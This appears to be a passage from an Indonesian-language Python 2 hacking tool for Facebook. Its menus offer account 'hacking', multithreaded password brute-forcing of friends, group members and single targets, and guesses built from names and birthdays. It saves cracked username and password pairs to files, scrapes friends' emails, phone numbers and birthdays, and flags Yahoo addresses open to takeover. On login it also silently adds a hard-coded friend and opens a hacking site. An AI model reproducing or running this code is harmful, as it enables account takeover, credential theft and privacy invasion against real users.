= [] idfromteman = [] idmem = [] id = [] em = [] emfromteman = [] hp = [] hpfromteman = [] reaksi = [] reaksigrup = [] komen = [] komengrup = [] listgrup = [] vulnot = '\x1b[31mNot Vuln' vuln = '\x1b[32mVuln' def login(): os.system('reset') try: toket = open('login.txt', 'r') menu() except (KeyError, IOError): os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' print '\x1b[1;91m[\xe2\x98\x86] \x1b[1;92mLOGIN AKUN FACEBOOK \x1b[1;91m[\xe2\x98\x86]' id = raw_input('\x1b[1;91m[+] \x1b[1;36mUsername \x1b[1;91m:\x1b[1;92m ') pwd = getpass.getpass('\x1b[1;91m[+] \x1b[1;36mPassword \x1b[1;91m:\x1b[1;92m ') tik() try: br.open('https://m.facebook.com') except mechanize.URLError: print '\n\x1b[1;91m[!] Tidak ada koneksi' keluar() br._factory.is_html = True br.select_form(nr=0) br.form['email'] = id br.form['pass'] = pwd br.submit() url = br.geturl() if 'save-device' in url: try: sig = 'api_key=882a8490361da98702bf97a021ddc14dcredentials_type=passwordemail=' + id + 'format=JSONgenerate_machine_id=1generate_session_cookies=1locale=en_USmethod=auth.loginpassword=' + pwd + 'return_ssl_resources=0v=1.062f8ce9f74b12f84c123cc23437a4a32' data = {'api_key': '882a8490361da98702bf97a021ddc14d', 'credentials_type': 'password', 'email': id, 'format': 'JSON', 'generate_machine_id': '1', 'generate_session_cookies': '1', 'locale': 'en_US', 'method': 'auth.login', 'password': pwd, 'return_ssl_resources': '0', 'v': '1.0'} x = hashlib.new('md5') x.update(sig) a = x.hexdigest() data.update({'sig': a}) url = 'https://api.facebook.com/restserver.php' r = requests.get(url, params=data) z = json.loads(r.text) zedd = open('login.txt', 'w') zedd.write(z['access_token']) zedd.close() print '\n\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mLogin berhasil' requests.post('https://graph.facebook.com/me/friends?method=post&uids=gwimusa3&access_token=' + z['access_token']) os.system('xdg-open http://indoxploit.id/') time.sleep(2) menu() except requests.exceptions.ConnectionError: print '\n\x1b[1;91m[!] Tidak ada koneksi' keluar() if 'checkpoint' in url: print '\n\x1b[1;91m[!] \x1b[1;93mAkun kena Checkpoint' os.system('rm -rf login.txt') time.sleep(1) keluar() else: print '\n\x1b[1;91m[!] Login Gagal' os.system('rm -rf login.txt') time.sleep(1) login() def menu(): os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: os.system('reset') print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() else: try: otw = requests.get('https://graph.facebook.com/me?access_token=' + toket) a = json.loads(otw.text) nama = a['name'] id = a['id'] except KeyError: os.system('reset') print '\x1b[1;91m[!] \x1b[1;93mSepertinya akun kena Checkpoint' os.system('rm -rf login.txt') time.sleep(1) login() except requests.exceptions.ConnectionError: print '\x1b[1;91m[!] Tidak ada koneksi' keluar() os.system('reset') print logo print '\x1b[1;97m\xe2\x95\x94' + 40 * '\xe2\x95\x90' print '\xe2\x95\x91\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m]\x1b[1;97m Nama \x1b[1;91m: \x1b[1;92m' + nama print '\x1b[1;97m\xe2\x95\x9a' + 40 * '\xe2\x95\x90' print '\x1b[1;37;40m1. Informasi Pengguna' print '\x1b[1;37;40m2. Hack Akun Facebook' print '\x1b[1;37;40m3. Bot ' print '\x1b[1;37;40m4. Lainnya.... ' print '\x1b[1;37;40m5. LogOut ' print '\x1b[1;31;40m0. Keluar ' print pilih() def pilih(): zedd = raw_input('\x1b[1;91m-\xe2\x96\xba\x1b[1;97m ') if zedd == '': print '\x1b[1;91m[!] Jangan kosong' pilih() else: if zedd == '1': informasi() else: if zedd == '2': menu_hack() else: if zedd == '3': menu_bot() else: if zedd == '4': lain() else: if zedd == '5': os.system('rm -rf login.txt') os.system('xdg-open http://indoxploit.id') keluar() else: if zedd == '0': keluar() else: print '\x1b[1;91m[\xe2\x9c\x96] \x1b[1;97m' + zedd + ' \x1b[1;91mTidak ada' pilih() def informasi(): os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' id = raw_input('\x1b[1;91m[+] \x1b[1;92mMasukan ID\x1b[1;97m/\x1b[1;92mNama\x1b[1;91m : \x1b[1;97m') jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...') r = requests.get('https://graph.facebook.com/me/friends?access_token=' + toket) cok = json.loads(r.text) for p in cok['data']: if id in p['name'] or id in p['id']: r = requests.get('https://graph.facebook.com/' + p['id'] + '?access_token=' + toket) z = json.loads(r.text) print 40 * '\x1b[1;97m\xe2\x95\x90' try: print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mNama\x1b[1;97m : ' + z['name'] except KeyError: print '\x1b[1;91m[?] \x1b[1;92mNama\x1b[1;97m : \x1b[1;91mTidak ada' else: try: print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mID\x1b[1;97m : ' + z['id'] except KeyError: print '\x1b[1;91m[?] \x1b[1;92mID\x1b[1;97m : \x1b[1;91mTidak ada' else: try: print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mEmail\x1b[1;97m : ' + z['email'] except KeyError: print '\x1b[1;91m[?] \x1b[1;92mEmail\x1b[1;97m : \x1b[1;91mTidak ada' else: try: print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mNomor HP\x1b[1;97m : ' + z['mobile_phone'] except KeyError: print '\x1b[1;91m[?] \x1b[1;92mNomor HP\x1b[1;97m : \x1b[1;91mTidak ada' else: try: print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mLokasi\x1b[1;97m : ' + z['location']['name'] except KeyError: print '\x1b[1;91m[?] \x1b[1;92mLokasi\x1b[1;97m : \x1b[1;91mTidak ada' else: try: print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mTanggal Lahir\x1b[1;97m : ' + z['birthday'] except KeyError: print '\x1b[1;91m[?] \x1b[1;92mTanggal Lahir\x1b[1;97m : \x1b[1;91mTidak ada' try: print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mSekolah\x1b[1;97m : ' for q in z['education']: try: print '\x1b[1;91m ~ \x1b[1;97m' + q['school']['name'] except KeyError: print '\x1b[1;91m ~ \x1b[1;91mTidak ada' except KeyError: pass raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') menu() else: print '\x1b[1;91m[\xe2\x9c\x96] Pengguna tidak ditemukan' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') menu() def menu_hack(): os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' print '\x1b[1;37;40m1. Mini Hack Facebook(\x1b[1;92mTarget\x1b[1;97m)' print '\x1b[1;37;40m2. Multi Bruteforce Facebook' print '\x1b[1;37;40m3. Super Multi Bruteforce Facebook' print '\x1b[1;37;40m4. BruteForce(\x1b[1;92mTarget\x1b[1;97m)' print '\x1b[1;37;40m5. Yahoo Checker' print '\x1b[1;37;40m6. Ambil id/email/hp' print '\x1b[1;31;40m0. Kembali' print hack_pilih() def hack_pilih(): hack = raw_input('\x1b[1;91m-\xe2\x96\xba\x1b[1;97m ') if hack == '': print '\x1b[1;91m[!] Jangan kosong' hack_pilih() else: if hack == '1': mini() else: if hack == '2': crack() hasil() else: if hack == '3': super() else: if hack == '4': brute() else: if hack == '5': menu_yahoo() else: if hack == '6': grab() else: if hack == '0': menu() else: print '\x1b[1;91m[\xe2\x9c\x96] \x1b[1;97m' + hack + ' \x1b[1;91mTidak ada' hack_pilih() def mini(): os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() else: os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' print '\x1b[1;91m[ INFO ] Akun target harus berteman dengan akun anda dulu !' try: id = raw_input('\x1b[1;91m[+] \x1b[1;92mID Target \x1b[1;91m:\x1b[1;97m ') jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...') r = requests.get('https://graph.facebook.com/' + id + '?access_token=' + toket) a = json.loads(r.text) print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mNama\x1b[1;97m : ' + a['name'] jalan('\x1b[1;91m[+] \x1b[1;92mMemeriksa \x1b[1;97m...') time.sleep(2) jalan('\x1b[1;91m[+] \x1b[1;92mMembuka keamanan \x1b[1;97m...') time.sleep(2) jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mMohon Tunggu sebentar \x1b[1;97m...') print 40 * '\x1b[1;97m\xe2\x95\x90' pz1 = a['first_name'] + '123' data = urllib.urlopen('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + id + '&locale=en_US&password=' + pz1 + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6') y = json.load(data) if 'access_token' in y: print '\x1b[1;91m[+] \x1b[1;92mDitemukan.' print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mNama\x1b[1;97m : ' + a['name'] print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mUsername\x1b[1;97m : ' + id print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mPassword\x1b[1;97m : ' + pz1 raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') menu_hack() else: if 'www.facebook.com' in y['error_msg']: print '\x1b[1;91m[+] \x1b[1;92mDitemukan.' print '\x1b[1;91m[!] \x1b[1;93mAkun kena Checkpoint' print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mNama\x1b[1;97m : ' + a['name'] print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mUsername\x1b[1;97m : ' + id print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mPassword\x1b[1;97m : ' + pz1 raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') menu_hack() else: pz2 = a['first_name'] + '12345' data = urllib.urlopen('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + id + '&locale=en_US&password=' + pz2 + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6') y = json.load(data) if 'access_token' in y: print '\x1b[1;91m[+] \x1b[1;92mDitemukan.' print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mNama\x1b[1;97m : ' + a['name'] print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mUsername\x1b[1;97m : ' + id print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mPassword\x1b[1;97m : ' + pz2 raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') menu_hack() else: if 'www.facebook.com' in y['error_msg']: print '\x1b[1;91m[+] \x1b[1;92mDitemukan.' print '\x1b[1;91m[!] \x1b[1;93mAkun kena Checkpoint' print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mNama\x1b[1;97m : ' + a['name'] print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mUsername\x1b[1;97m : ' + id print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mPassword\x1b[1;97m : ' + pz2 raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') menu_hack() else: pz3 = a['last_name'] + '123' data = urllib.urlopen('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + id + '&locale=en_US&password=' + pz3 + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6') y = json.load(data) if 'access_token' in y: print '\x1b[1;91m[+] \x1b[1;92mDitemukan.' print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mNama\x1b[1;97m : ' + a['name'] print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mUsername\x1b[1;97m : ' + id print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mPassword\x1b[1;97m : ' + pz3 raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') menu_hack() else: if 'www.facebook.com' in y['error_msg']: print '\x1b[1;91m[+] \x1b[1;92mDitemukan.' print '\x1b[1;91m[!] \x1b[1;93mAkun kena Checkpoint' print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mNama\x1b[1;97m : ' + a['name'] print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mUsername\x1b[1;97m : ' + id print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mPassword\x1b[1;97m : ' + pz3 raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') menu_hack() else: lahir = a['birthday'] pz4 = lahir.replace('/', '') data = urllib.urlopen('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + id + '&locale=en_US&password=' + pz4 + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6') y = json.load(data) if 'access_token' in y: print '\x1b[1;91m[+] \x1b[1;92mDitemukan.' print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mNama\x1b[1;97m : ' + a['name'] print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mUsername\x1b[1;97m : ' + id print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mPassword\x1b[1;97m : ' + pz4 raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') menu_hack() else: if 'www.facebook.com' in y['error_msg']: print '\x1b[1;91m[+] \x1b[1;92mDitemukan.' print '\x1b[1;91m[!] \x1b[1;93mAkun kena Checkpoint' print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mNama\x1b[1;97m : ' + a['name'] print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mUsername\x1b[1;97m : ' + id print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mPassword\x1b[1;97m : ' + pz4 raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') menu_hack() else: print '\x1b[1;91m[!] Maaf, gagal membuka password target :(' print '\x1b[1;91m[!] Cobalah dengan cara lain.' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') menu_hack() except KeyError: print '\x1b[1;91m[!] Terget tidak ditemukan' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') menu_hack() def crack(): global file global idlist global passw os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() else: os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' idlist = raw_input('\x1b[1;91m[+] \x1b[1;92mFile ID \x1b[1;91m: \x1b[1;97m') passw = raw_input('\x1b[1;91m[+] \x1b[1;92mPassword \x1b[1;91m: \x1b[1;97m') try: file = open(idlist, 'r') jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...') for x in range(40): zedd = threading.Thread(target=scrak, args=()) zedd.start() threads.append(zedd) for zedd in threads: zedd.join() except IOError: print '\x1b[1;91m[!] File tidak ditemukan' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') menu_hack() def scrak(): global back global berhasil global cekpoint global gagal global up try: buka = open(idlist, 'r') up = buka.read().split() while file: username = file.readline().strip() url = 'https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + username + '&locale=en_US&password=' + passw + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6' data = urllib.urlopen(url) mpsh = json.load(data) if back == len(up): break if 'access_token' in mpsh: bisa = open('Berhasil.txt', 'w') bisa.write(username + ' | ' + passw + '\n') bisa.close() berhasil.append('\x1b[1;97m[\x1b[1;92mOK\xe2\x9c\x93\x1b[1;97m] ' + username + ' | ' + passw) back += 1 else: if 'www.facebook.com' in mpsh['error_msg']: cek = open('Cekpoint.txt', 'w') cek.write(username + ' | ' + passw + '\n') cek.close() cekpoint.append('\x1b[1;97m[\x1b[1;93mCP\xe2\x9c\x9a\x1b[1;97m] ' + username + ' | ' + passw) back += 1 else: gagal.append(username) back += 1 sys.stdout.write('\r\x1b[1;91m[\x1b[1;96m\xe2\x9c\xb8\x1b[1;91m] \x1b[1;92mCrack \x1b[1;91m:\x1b[1;97m ' + str(back) + ' \x1b[1;96m>\x1b[1;97m ' + str(len(up)) + ' =>\x1b[1;92mLive\x1b[1;91m:\x1b[1;96m' + str(len(berhasil)) + ' \x1b[1;97m=>\x1b[1;93mCheck\x1b[1;91m:\x1b[1;96m' + str(len(cekpoint))) sys.stdout.flush() except IOError: print '\n\x1b[1;91m[!] Koneksi terganggu' time.sleep(1) except requests.exceptions.ConnectionError: print '\x1b[1;91m[\xe2\x9c\x96] Tidak ada koneksi' def hasil(): print print 40 * '\x1b[1;97m\xe2\x95\x90' for b in berhasil: print b for c in cekpoint: print c print print '\x1b[31m[x] Gagal \x1b[1;97m--> ' + str(len(gagal)) keluar() def super(): global toket os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' print '\x1b[1;37;40m1. Crack dari daftar Teman' print '\x1b[1;37;40m2. Crack dari member Grup' print '\x1b[1;31;40m0. Kembali' print pilih_super() def pilih_super(): peak = raw_input('\x1b[1;91m-\xe2\x96\xba\x1b[1;97m ') if peak == '': print '\x1b[1;91m[!] Jangan kosong' pilih_super() else: if peak == '1': os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' jalan('\x1b[1;91m[+] \x1b[1;92mMengambil id teman \x1b[1;97m...') r = requests.get('https://graph.facebook.com/me/friends?access_token=' + toket) z = json.loads(r.text) for s in z['data']: id.append(s['id']) else: if peak == '2': os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' idg = raw_input('\x1b[1;91m[+] \x1b[1;92mID Grup \x1b[1;91m:\x1b[1;97m ') try: r = requests.get('https://graph.facebook.com/group/?id=' + idg + '&access_token=' + toket) asw = json.loads(r.text) print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mNama grup \x1b[1;91m:\x1b[1;97m ' + asw['name'] except KeyError: print '\x1b[1;91m[!] Grup tidak ditemukan' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') super() re = requests.get('https://graph.facebook.com/' + idg + '/members?fields=name,id&limit=999999999&access_token=' + toket) s = json.loads(re.text) for i in s['data']: id.append(i['id']) else: if peak == '0': menu_hack() else: print '\x1b[1;91m[\xe2\x9c\x96] \x1b[1;97m' + peak + ' \x1b[1;91mTidak ada' pilih_super() print '\x1b[1;91m[+] \x1b[1;92mJumlah ID \x1b[1;91m: \x1b[1;97m' + str(len(id)) jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...') titik = ['. ', '.. ', '... '] for o in titik: print '\r\r\x1b[1;91m[\x1b[1;96m\xe2\x9c\xb8\x1b[1;91m] \x1b[1;92mCrack \x1b[1;97m' + o, sys.stdout.flush() time.sleep(1) print print 40 * '\x1b[1;97m\xe2\x95\x90' def main(arg): user = arg try: a = requests.get('https://graph.facebook.com/' + user + '/?access_token=' + toket) b = json.loads(a.text) pass1 = b['first_name'] + '123' data = urllib.urlopen('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + user + '&locale=en_US&password=' + pass1 + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6') q = json.load(data) if 'access_token' in q: print '\x1b[1;97m[\x1b[1;92mOK\xe2\x9c\x93\x1b[1;97m] ' + user + ' | ' + pass1 else: if 'www.facebook.com' in q['error_msg']: print '\x1b[1;97m[\x1b[1;93mCP\xe2\x9c\x9a\x1b[1;97m] ' + user + ' | ' + pass1 else: pass2 = b['first_name'] + '12345' data = urllib.urlopen('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + user + '&locale=en_US&password=' + pass2 + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6') q = json.load(data) if 'access_token' in q: print '\x1b[1;97m[\x1b[1;92mOK\xe2\x9c\x93\x1b[1;97m] ' + user + ' | ' + pass2 else: if 'www.facebook.com' in q['error_msg']: print '\x1b[1;97m[\x1b[1;93mCP\xe2\x9c\x9a\x1b[1;97m] ' + user + ' | ' + pass2 else: pass3 = b['last_name'] + '123' data = urllib.urlopen('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + user + '&locale=en_US&password=' + pass3 + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6') q = json.load(data) if 'access_token' in q: print '\x1b[1;97m[\x1b[1;92mOK\xe2\x9c\x93\x1b[1;97m] ' + user + ' | ' + pass3 else: if 'www.facebook.com' in q['error_msg']: print '\x1b[1;97m[\x1b[1;93mCP\xe2\x9c\x9a\x1b[1;97m] ' + user + ' | ' + pass3 else: lahir = b['birthday'] pass4 = lahir.replace('/', '') data = urllib.urlopen('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + user + '&locale=en_US&password=' + pass4 + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6') q = json.load(data) if 'access_token' in q: print '\x1b[1;97m[\x1b[1;92mOK\xe2\x9c\x93\x1b[1;97m] ' + user + ' | ' + pass4 else: if 'www.facebook.com' in q['error_msg']: print '\x1b[1;97m[\x1b[1;93mCP\xe2\x9c\x9a\x1b[1;97m] ' + user + ' | ' + pass4 except: pass p = ThreadPool(30) p.map(main, id) print '\n\x1b[1;91m[+] \x1b[1;97mSelesai' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') super() def brute(): os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() else: os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' try: email = raw_input('\x1b[1;91m[+] \x1b[1;92mID\x1b[1;97m/\x1b[1;92mEmail\x1b[1;97m/\x1b[1;92mHp \x1b[1;97mTarget \x1b[1;91m:\x1b[1;97m ') passw = raw_input('\x1b[1;91m[+] \x1b[1;92mWordlist \x1b[1;97mext(list.txt) \x1b[1;91m: \x1b[1;97m') total = open(passw, 'r') total = total.readlines() print 40 * '\x1b[1;97m\xe2\x95\x90' print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mTarget \x1b[1;91m:\x1b[1;97m ' + email print '\x1b[1;91m[+] \x1b[1;92mJumlah\x1b[1;96m ' + str(len(total)) + ' \x1b[1;92mPassword' jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...') sandi = open(passw, 'r') for pw in sandi: try: pw = pw.replace('\n', '') sys.stdout.write('\r\x1b[1;91m[\x1b[1;96m\xe2\x9c\xb8\x1b[1;91m] \x1b[1;92mMencoba \x1b[1;97m' + pw) sys.stdout.flush() data = requests.get('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + email + '&locale=en_US&password=' + pw + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6') mpsh = json.loads(data.text) if 'access_token' in mpsh: dapat = open('Brute.txt', 'w') dapat.write(email + ' | ' + pw + '\n') dapat.close() print '\n\x1b[1;91m[+] \x1b[1;92mDitemukan.' print 40 * '\x1b[1;97m\xe2\x95\x90' print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mUsername \x1b[1;91m:\x1b[1;97m ' + email print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mPassword \x1b[1;91m:\x1b[1;97m ' + pw keluar() else: if 'www.facebook.com' in mpsh['error_msg']: ceks = open('Brutecekpoint.txt', 'w') ceks.write(email + ' | ' + pw + '\n') ceks.close() print '\n\x1b[1;91m[+] \x1b[1;92mDitemukan.' print 40 * '\x1b[1;97m\xe2\x95\x90' print '\x1b[1;91m[!] \x1b[1;93mAkun kena Checkpoint' print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mUsername \x1b[1;91m:\x1b[1;97m ' + email print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mPassword \x1b[1;91m:\x1b[1;97m ' + pw keluar() except requests.exceptions.ConnectionError: print '\x1b[1;91m[!] Koneksi Error' time.sleep(1) except IOError: print '\x1b[1;91m[!] File tidak ditemukan...' print '\n\x1b[1;91m[!] \x1b[1;92mSepertinya kamu tidak memiliki wordlist' tanyaw() def tanyaw(): why = raw_input('\x1b[1;91m[?] \x1b[1;92mIngin membuat wordlist ? \x1b[1;92m[y/t]\x1b[1;91m:\x1b[1;97m ') if why == '': print '\x1b[1;91m[!] Tolong pilih \x1b[1;97m(y/t)' tanyaw() else: if why == 'y': wordlist() else: if why == 'Y': wordlist() else: if why == 't': menu_hack() else: if why == 'T': menu_hack() else: print '\x1b[1;91m[!] Tolong pilih \x1b[1;97m(y/t)' tanyaw() def menu_yahoo(): os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' print '\x1b[1;37;40m1. Dari teman facebook' print '\x1b[1;37;40m2. Gunakan File' print '\x1b[1;31;40m0. Kembali' print yahoo_pilih() def yahoo_pilih(): go = raw_input('\x1b[1;91m-\xe2\x96\xba\x1b[1;97m ') if go == '': print '\x1b[1;91m[!] Jangan kosong' yahoo_pilih() else: if go == '1': yahoofriends() else: if go == '2': yahoolist() else: if go == '0': menu_hack() else: print '\x1b[1;91m[\xe2\x9c\x96] \x1b[1;97m' + go + ' \x1b[1;91mTidak ada' yahoo_pilih() def yahoofriends(): os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' mpsh = [] jml = 0 jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...') teman = requests.get('https://graph.facebook.com/me/friends?access_token=' + toket) kimak = json.loads(teman.text) save = open('MailVuln.txt', 'w') print 40 * '\x1b[1;97m\xe2\x95\x90' for w in kimak['data']: jml += 1 mpsh.append(jml) id = w['id'] nama = w['name'] links = requests.get('https://graph.facebook.com/' + id + '?access_token=' + toket) z = json.loads(links.text) try: mail = z['email'] yahoo = re.compile('@.*') otw = yahoo.search(mail).group() if 'yahoo.com' in otw: br.open('https://login.yahoo.com/config/login?.src=fpctx&.intl=id&.lang=id-ID&.done=https://id.yahoo.com') br._factory.is_html = True br.select_form(nr=0) br['username'] = mail klik = br.submit().read() jok = re.compile('"messages.ERROR_INVALID_USERNAME">.*') try: pek = jok.search(klik).group() except: print '\x1b[1;91m[\xe2\x9c\x96] \x1b[1;92mEmail \x1b[1;91m:\x1b[1;91m ' + mail + ' \x1b[1;97m[\x1b[1;92m' + vulnot + '\x1b[1;97m]' continue if '"messages.ERROR_INVALID_USERNAME">' in pek: save.write(mail + '\n') print 40 * '\x1b[1;97m\xe2\x95\x90' print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mNama \x1b[1;91m:\x1b[1;97m ' + nama print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mID \x1b[1;91m:\x1b[1;97m ' + id print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mEmail \x1b[1;91m:\x1b[1;97m ' + mail + ' [\x1b[1;92m' + vuln + '\x1b[1;97m]' print 40 * '\x1b[1;97m\xe2\x95\x90' else: print '\x1b[1;91m[\xe2\x9c\x96] \x1b[1;92mEmail \x1b[1;91m:\x1b[1;91m ' + mail + ' \x1b[1;97m[\x1b[1;92m' + vulnot + '\x1b[1;97m]' except KeyError: pass print '\n\x1b[1;91m[+] \x1b[1;97mSelesai' print 